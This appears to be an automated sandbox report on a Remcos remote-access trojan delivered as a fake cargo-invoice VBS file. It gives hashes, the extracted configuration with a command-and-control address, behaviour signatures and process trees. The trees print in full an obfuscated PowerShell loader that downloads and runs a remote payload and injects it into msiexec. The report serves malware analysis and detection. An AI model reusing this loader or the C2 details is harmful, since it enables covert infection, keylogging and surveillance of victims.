remcos | 9438968ce3ce25d47bf5ba3f9a93d0636a69a80d8644b303d784651ca34ef043

Analysis

max time kernel
299s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 06:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CargoInvoice_Outstanding_56789_2024-11-21.vbs
Size

38KB
MD5

e221e50773f32bab23fcf3d130c68481
SHA1

350bd0a28a1cbffb8a9e4f9075cec81895798a80
SHA256

602003e98421ce67063784195fd50caa107f895549f55efc60bf569e605f61f2
SHA512

6c846e5b6a6c835511cfb7823516163ba9f1056e7ac2159e73a059b29bfc75b102c43f8779330a220fbffcaf0708e5c47aa6a5947beb983d1fa954fbe337de3e
SSDEEP

768:IZLtB89wlVgpDAus1yZUR/eGR4/3yLohsVgIij/+gHxWseNAeonfre7st2r:IZJB8rDds1yGRm+4/kLiD+goRNAnXtu

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

154.216.17.14:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KC5V8F
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/19732-63-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow pid process

3 5032 WScript.exe
14 2068 powershell.exe
33 4200 msiexec.exe
35 4200 msiexec.exe
37 4200 msiexec.exe
39 4200 msiexec.exe
41 4200 msiexec.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2068 powershell.exe
4736 powershell.exe
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

File opened (read-only) \??\Z: WScript.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

4200 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

4736 powershell.exe
4200 msiexec.exe

flow	pid	process
3	5032	WScript.exe
14	2068	powershell.exe
33	4200	msiexec.exe
35	4200	msiexec.exe
37	4200	msiexec.exe
39	4200	msiexec.exe
41	4200	msiexec.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File opened (read-only)	\??\Z:	WScript.exe

pid	process
4200	msiexec.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

msiexec.exe

description	pid	process
PID 4200 set thread context of 19732	4200	msiexec.exe
PID 4200 set thread context of 35752	4200	msiexec.exe
PID 4200 set thread context of 51596	4200	msiexec.exe
PID 4200 set thread context of 67612	4200	msiexec.exe
PID 4200 set thread context of 83680	4200	msiexec.exe
PID 4200 set thread context of 99744	4200	msiexec.exe
PID 4200 set thread context of 115740	4200	msiexec.exe
PID 4200 set thread context of 131776	4200	msiexec.exe
PID 4200 set thread context of 147828	4200	msiexec.exe
PID 4200 set thread context of 163880	4200	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exepowershell.exe

pid	process
2068	powershell.exe
2068	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
19732
19732
35752
35752
51596
51596
67612
67612
83680
83680
99744
99744
115740
115740
131776
131776
147828
147828
163880
163880

Suspicious behavior: MapViewOfSection 64 IoCs

Processes:

powershell.exemsiexec.exe

pid	process
4736	powershell.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe
4200	msiexec.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	19732
Token: SeDebugPrivilege	35752
Token: SeDebugPrivilege	51596
Token: SeDebugPrivilege	67612
Token: SeDebugPrivilege	83680
Token: SeDebugPrivilege	99744
Token: SeDebugPrivilege	115740
Token: SeDebugPrivilege	131776
Token: SeDebugPrivilege	147828
Token: SeDebugPrivilege	163880

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

description	pid	process	target process
PID 5032 wrote to memory of 2068	5032	WScript.exe	powershell.exe
PID 5032 wrote to memory of 2068	5032	WScript.exe	powershell.exe
PID 4736 wrote to memory of 4200	4736	powershell.exe	msiexec.exe
PID 4736 wrote to memory of 4200	4736	powershell.exe	msiexec.exe
PID 4736 wrote to memory of 4200	4736	powershell.exe	msiexec.exe
PID 4736 wrote to memory of 4200	4736	powershell.exe	msiexec.exe
PID 4200 wrote to memory of 2020	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2020	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2020	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1824	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1824	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1824	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4440	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4440	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4440	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4012	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4012	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4012	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 432	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 432	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 432	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 5028	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 5028	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 5028	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1132	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1132	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1132	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2412	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2412	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2412	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1512	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1512	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1512	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1752	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1752	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1752	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2368	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2368	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2368	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4536	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4536	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4536	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4392	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4392	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 4392	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2648	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2648	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 2648	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3320	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3400	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3400	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3400	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1620	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1620	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 1620	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3496	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3496	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3496	4200	msiexec.exe	msiexec.exe
PID 4200 wrote to memory of 3412	4200	msiexec.exe	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CargoInvoice_Outstanding_56789_2024-11-21.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Predenying Kloakeringsarbejde Chambrierers Urbaniteten persongruppers Alhandal #><#Telegrafvsnets Metallurgy sundari Kvlning Bleachyard Charlataneriet #>$Omringede='Kommandoaktions';function Cypseliform($Foretagendes){If ($host.DebuggerEnabled) {$Ureteropyelitis=3} for ($Arther85=$Ureteropyelitis;;$Arther85+=4){if(!$Foretagendes[$Arther85]) { break }$Dewaters+=$Foretagendes[$Arther85]}$Dewaters}function Pattede($Overanstrengelses){ .($Histography) ($Overanstrengelses)}$serievarerne=Cypseliform ' UsN Afe .htLgm.OnowCl,e BoBPlecsitLAkkIFo etwin oct';$sprogforskernes=Cypseliform ',mpMFoloCanz seiEl lelels gaNat/';$Metabolisme=Cypseliform 'Di TNatlknasTr,1Teg2';$Damaskduge36='Tel[Conn kuEPaaTTi,.dumsNunEsp.rPrevdelIUnmCGamENaupKatoFori .rNCirt iMranA enNBenAsprGante GrRAnd] Br:s,a:AntsDe ERavClg.UF rrUnmIRobtvanYAntpUkarE ro RetFlhoOveC hio Fil,it=Ana$.rgMT,ueI fT stARe,bGlio,haLD ciFixsEn,MFave';$sprogforskernes+=Cypseliform 'spe5Aho. Pn0 B. r(UneWPeriPlanWeed ,ioGalwB,ns n AntNZygT T sul1Ove0 .u. r0 Wh;Gip AadWGamiUmrn sa6Be,4Cha;saz Fesxsr 6 Na4Uds;sta Ignr s vkon: Bo1.ef3Fr 1 E .Til0Mel) fu D,pGsl eBlocDeskN tosko/ tr2ski0 Di1 el0 oo0bro1Gaa0str1Fil Ty FJavitrarForeFarfNago EkxU s/N t1say3ski1 Ac.Pas0';$Roomies=Cypseliform ' s UK ms ReePinRMul-NitaUnpgTndeP.an ot';$spyttekummerne=Cypseliform 'DrahR stCints mpF rs re:Hjt/Fej/ForbNa 9tilaTa,1sub..asiY gcTriu rs/UndXL br KoCChaG beXFo.V esfKabsHol/selTMinr isuOkas PitslulFnoeKli2 Ge0Rec.c.eaE tssubd';$supercanonical=Cypseliform ' ,v>';$Histography=Cypseliform 'stai KbeProX';$saliences109='Perfiditet';$fabaceae='\Afprikningen.Bss';Pattede (Cypseliform 'h i$GoigConL hoOPanBMisAParLLen:AfbEdriKDras toasteMs.eELacnT lsU dssu T s.T ,oEleiTpro= l$LigE H,NHerVP l: seA ,aPP ePNasDDraaIntt,ibA e+Des$RacfordaswiBW naEbuCHypEMolALege');Pattede (Cypseliform 'Ano$sc,GU gl,adospebaktaUdllU d:Da,bRe.uBrynunpITrinCoogB,iE airNatNFlaEUnhsPar=Cub$Af sYeoPFriYu at sTB geKn KUncuLurm BuMGloETrarDi n HuEt i.Fifs InPBanL.ili AnTRes( Ja$ lasZomUMyrP skEPenrArtCEvaa C nrevoskln Cri ykCDraA MeLBil)');Pattede (Cypseliform $Damaskduge36);$spyttekummerne=$Buningernes[0];$Antagonization130=(Cypseliform 'Pos$BaggA ilBreOUnvbAlbasclLsyk:si.a M tTo CPr =sumNsulECarWCy,-ZebOconb ajPh E JaCshat Ra Pers suy rmsBe tM,keUp mBor.Dep$Unas pleEndr fvIRetE.rnVRabAOplR V.E ncRAntnsjle');Pattede ($Antagonization130);Pattede (Cypseliform 'ges$ ,yAs atColcfor.DagHspreTa,a ord rieTo rBris e[Lan$ BiR,ytoOveoK.gm AliRe eudlsIct]Oof=Adm$T ps iprearClaoAwfgswaf FjoOrdrsphsDdmkR,neIndrPhynT reCo.s');$Civicism=Cypseliform ' s $BlrAEsttsupc ik.,irD,eaoPi wFr nLarlAnaodiaaBold.ecFHaviImml C es,e(Fri$Fors Uppsp.yThotOdyt eeGibkCleu fsmLasm MeevirrCrinVeneR g,a l$DisK stoM rk re ,yt P t R e BlrMaje Fot k )';$Koketteret=$Eksamenssttet;Pattede (Cypseliform 'Udd$.rugAlvlOblosasBDevACluLLi :Elav nivokrseru ulA aeDeiN slsVile Bun,ph=Lok(F.uT V e ResDu Tspl-Begp LiABestU phTil Bi.$RehK Vao GekskresavTEcttMi e BlRstjE aTC,r)');while (!$Virulensen) {Pattede (Cypseliform 'Reb$UnsgUnflBgeo arbMyoaimpl Fo: pak BluD wnMims M t.ipfDecoF ir ursUnetRumaNednClidFla=Fje$ GuU rok UneMesnsged .weMajlMe iDu gLashUnaePand') ;Pattede $Civicism;Pattede (Cypseliform 'C,ts LoTCenAGa R .uTImp-F rs Mol MiEUnpEkaePBol M.o4');Pattede (Cypseliform 'Lin$samg ChLsprO ab BuAK,nLdis:ReuVMrkiBehRB.fu Del Unesn.nbrys oe rNEry=.or(Pr tUnee ersFreT Kv-stapma aud,TEl.hP r ,fv$R cK oroBeeKskbekulTspotM re dR.ule sptDyr)') ;Pattede (Cypseliform 'Pyr$AlcG stl oOsi BEx asamls,r:UnstafbiD uO V lFulOUr gGyniCloEB,sn Bes Co=Co,$H.rGBoll Tiose b seAPool hr:.dbm C,e KoTMelastiGHy ABals tjTh eECe.rCon+Es +Adn% .o$LigB auAsyNP oI sknNdrgNipEGrerM,snBureC,rs or. N cHano irUrowN .lt') ;$spyttekummerne=$Buningernes[$Tiologiens]}$straighted=312945;$sprngbombes=29375;Pattede (Cypseliform ' G $HerGturl RtoVi B DrA LelT,i:HvnmBruAChiCBasrDeboTasCPenEshiP ndHAleADamlV dO PauP esRe, En=Coa Kodg R ETiltPre-sk C ndOsubn ittErseBrnn I.Tskr Ben$R gK s oImpk roeAbsTKasT UdECapRb geForT');Pattede (Cypseliform 'Alv$slagKlul Fio subLy,aBagl il: ,oRH.reK.rssp,bgenoPoslU iiU,dgcivs Gy Rub= Fn Man[ nts E ysersV rt Beed,nmCir.OveCDisoillnR vv sheNedr omtDe.] ak:Reg: frFAmerAd oIchm DrB exaK tsNecesam6sem4Dens stVolrCo.i Tyn.atg .a(Kar$U eMProa nscDy,r muoJazcPere kp Kvh C.aMellPoko ulu ,lsBat)');Pattede (Cypseliform 'sp.$TrkGLe Lt,mOVirb D,aTilLFor:Hy bOrilF,raGredDolsKrymBe,RIndeJugRHyleErhssoc Hyp= na Rev[JausPl,ysk sPalt AbeRy.m Ca. s tTitEDomX amT Ar.ZareF,jN rCHinOR iDnatICh n Mig In]Ka :Tr : vraBefssagC K,IPerIAnt.RejgscoE ,ctM lsBortHa rChris mnselg Va( R $PlarskaeCh sPo,BUndoA llOpsisp.GDy.sLex)');Pattede (Cypseliform 'Ru $Gragd.ml cpORefbU raDisLYur: gesRo,P UdgL dE,igsEt =spa$DolbUngltaca U dAf sPapM KvrskoEs mR.one Bas M .Tousgrau RhBI,ys AntBesr F IGo nQuogs.l(Cho$Vars betGlarsnuaDraIsw,gUayHMustRygE ,eDUdh,Unc$ K.s ecpAg.R E n egg FoB AlOVigmcrebetee Grs ag)');Pattede $spges;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Predenying Kloakeringsarbejde Chambrierers Urbaniteten persongruppers Alhandal #><#Telegrafvsnets Metallurgy sundari Kvlning Bleachyard Charlataneriet #>$Omringede='Kommandoaktions';function Cypseliform($Foretagendes){If ($host.DebuggerEnabled) {$Ureteropyelitis=3} for ($Arther85=$Ureteropyelitis;;$Arther85+=4){if(!$Foretagendes[$Arther85]) { break }$Dewaters+=$Foretagendes[$Arther85]}$Dewaters}function Pattede($Overanstrengelses){ .($Histography) ($Overanstrengelses)}$serievarerne=Cypseliform ' UsN Afe .htLgm.OnowCl,e BoBPlecsitLAkkIFo etwin oct';$sprogforskernes=Cypseliform ',mpMFoloCanz seiEl lelels gaNat/';$Metabolisme=Cypseliform 'Di TNatlknasTr,1Teg2';$Damaskduge36='Tel[Conn kuEPaaTTi,.dumsNunEsp.rPrevdelIUnmCGamENaupKatoFori .rNCirt iMranA enNBenAsprGante GrRAnd] Br:s,a:AntsDe ERavClg.UF rrUnmIRobtvanYAntpUkarE ro RetFlhoOveC hio Fil,it=Ana$.rgMT,ueI fT stARe,bGlio,haLD ciFixsEn,MFave';$sprogforskernes+=Cypseliform 'spe5Aho. Pn0 B. r(UneWPeriPlanWeed ,ioGalwB,ns n AntNZygT T sul1Ove0 .u. r0 Wh;Gip AadWGamiUmrn sa6Be,4Cha;saz Fesxsr 6 Na4Uds;sta Ignr s vkon: Bo1.ef3Fr 1 E .Til0Mel) fu D,pGsl eBlocDeskN tosko/ tr2ski0 Di1 el0 oo0bro1Gaa0str1Fil Ty FJavitrarForeFarfNago EkxU s/N t1say3ski1 Ac.Pas0';$Roomies=Cypseliform ' s UK ms ReePinRMul-NitaUnpgTndeP.an ot';$spyttekummerne=Cypseliform 'DrahR stCints mpF rs re:Hjt/Fej/ForbNa 9tilaTa,1sub..asiY gcTriu rs/UndXL br KoCChaG beXFo.V esfKabsHol/selTMinr isuOkas PitslulFnoeKli2 Ge0Rec.c.eaE tssubd';$supercanonical=Cypseliform ' ,v>';$Histography=Cypseliform 'stai KbeProX';$saliences109='Perfiditet';$fabaceae='\Afprikningen.Bss';Pattede (Cypseliform 'h i$GoigConL hoOPanBMisAParLLen:AfbEdriKDras toasteMs.eELacnT lsU dssu T s.T ,oEleiTpro= l$LigE H,NHerVP l: seA ,aPP ePNasDDraaIntt,ibA e+Des$RacfordaswiBW naEbuCHypEMolALege');Pattede (Cypseliform 'Ano$sc,GU gl,adospebaktaUdllU d:Da,bRe.uBrynunpITrinCoogB,iE airNatNFlaEUnhsPar=Cub$Af sYeoPFriYu at sTB geKn KUncuLurm BuMGloETrarDi n HuEt i.Fifs InPBanL.ili AnTRes( Ja$ lasZomUMyrP skEPenrArtCEvaa C nrevoskln Cri ykCDraA MeLBil)');Pattede (Cypseliform $Damaskduge36);$spyttekummerne=$Buningernes[0];$Antagonization130=(Cypseliform 'Pos$BaggA ilBreOUnvbAlbasclLsyk:si.a M tTo CPr =sumNsulECarWCy,-ZebOconb ajPh E JaCshat Ra Pers suy rmsBe tM,keUp mBor.Dep$Unas pleEndr fvIRetE.rnVRabAOplR V.E ncRAntnsjle');Pattede ($Antagonization130);Pattede (Cypseliform 'ges$ ,yAs atColcfor.DagHspreTa,a ord rieTo rBris e[Lan$ BiR,ytoOveoK.gm AliRe eudlsIct]Oof=Adm$T ps iprearClaoAwfgswaf FjoOrdrsphsDdmkR,neIndrPhynT reCo.s');$Civicism=Cypseliform ' s $BlrAEsttsupc ik.,irD,eaoPi wFr nLarlAnaodiaaBold.ecFHaviImml C es,e(Fri$Fors Uppsp.yThotOdyt eeGibkCleu fsmLasm MeevirrCrinVeneR g,a l$DisK stoM rk re ,yt P t R e BlrMaje Fot k )';$Koketteret=$Eksamenssttet;Pattede (Cypseliform 'Udd$.rugAlvlOblosasBDevACluLLi :Elav nivokrseru ulA aeDeiN slsVile Bun,ph=Lok(F.uT V e ResDu Tspl-Begp LiABestU phTil Bi.$RehK Vao GekskresavTEcttMi e BlRstjE aTC,r)');while (!$Virulensen) {Pattede (Cypseliform 'Reb$UnsgUnflBgeo arbMyoaimpl Fo: pak BluD wnMims M t.ipfDecoF ir ursUnetRumaNednClidFla=Fje$ GuU rok UneMesnsged .weMajlMe iDu gLashUnaePand') ;Pattede $Civicism;Pattede (Cypseliform 'C,ts LoTCenAGa R .uTImp-F rs Mol MiEUnpEkaePBol M.o4');Pattede (Cypseliform 'Lin$samg ChLsprO ab BuAK,nLdis:ReuVMrkiBehRB.fu Del Unesn.nbrys oe rNEry=.or(Pr tUnee ersFreT Kv-stapma aud,TEl.hP r ,fv$R cK oroBeeKskbekulTspotM re dR.ule sptDyr)') ;Pattede (Cypseliform 'Pyr$AlcG stl oOsi BEx asamls,r:UnstafbiD uO V lFulOUr gGyniCloEB,sn Bes Co=Co,$H.rGBoll Tiose b seAPool hr:.dbm C,e KoTMelastiGHy ABals tjTh eECe.rCon+Es +Adn% .o$LigB auAsyNP oI sknNdrgNipEGrerM,snBureC,rs or. N cHano irUrowN .lt') ;$spyttekummerne=$Buningernes[$Tiologiens]}$straighted=312945;$sprngbombes=29375;Pattede (Cypseliform ' G $HerGturl RtoVi B DrA LelT,i:HvnmBruAChiCBasrDeboTasCPenEshiP ndHAleADamlV dO PauP esRe, En=Coa Kodg R ETiltPre-sk C ndOsubn ittErseBrnn I.Tskr Ben$R gK s oImpk roeAbsTKasT UdECapRb geForT');Pattede (Cypseliform 'Alv$slagKlul Fio subLy,aBagl il: ,oRH.reK.rssp,bgenoPoslU iiU,dgcivs Gy Rub= Fn Man[ nts E ysersV rt Beed,nmCir.OveCDisoillnR vv sheNedr omtDe.] ak:Reg: frFAmerAd oIchm DrB exaK tsNecesam6sem4Dens stVolrCo.i Tyn.atg .a(Kar$U eMProa nscDy,r muoJazcPere kp Kvh C.aMellPoko ulu ,lsBat)');Pattede (Cypseliform 'sp.$TrkGLe Lt,mOVirb D,aTilLFor:Hy bOrilF,raGredDolsKrymBe,RIndeJugRHyleErhssoc Hyp= na Rev[JausPl,ysk sPalt AbeRy.m Ca. s tTitEDomX amT Ar.ZareF,jN rCHinOR iDnatICh n Mig In]Ka :Tr : vraBefssagC K,IPerIAnt.RejgscoE ,ctM lsBortHa rChris mnselg Va( R $PlarskaeCh sPo,BUndoA llOpsisp.GDy.sLex)');Pattede (Cypseliform 'Ru $Gragd.ml cpORefbU raDisLYur: gesRo,P UdgL dE,igsEt =spa$DolbUngltaca U dAf sPapM KvrskoEs mR.one Bas M .Tousgrau RhBI,ys AntBesr F IGo nQuogs.l(Cho$Vars betGlarsnuaDraIsw,gUayHMustRygE ,eDUdh,Unc$ K.s ecpAg.R E n egg FoB AlOVigmcrebetee Grs ag)');Pattede $spges;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2020
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1824
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2412
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\msiexec.exe
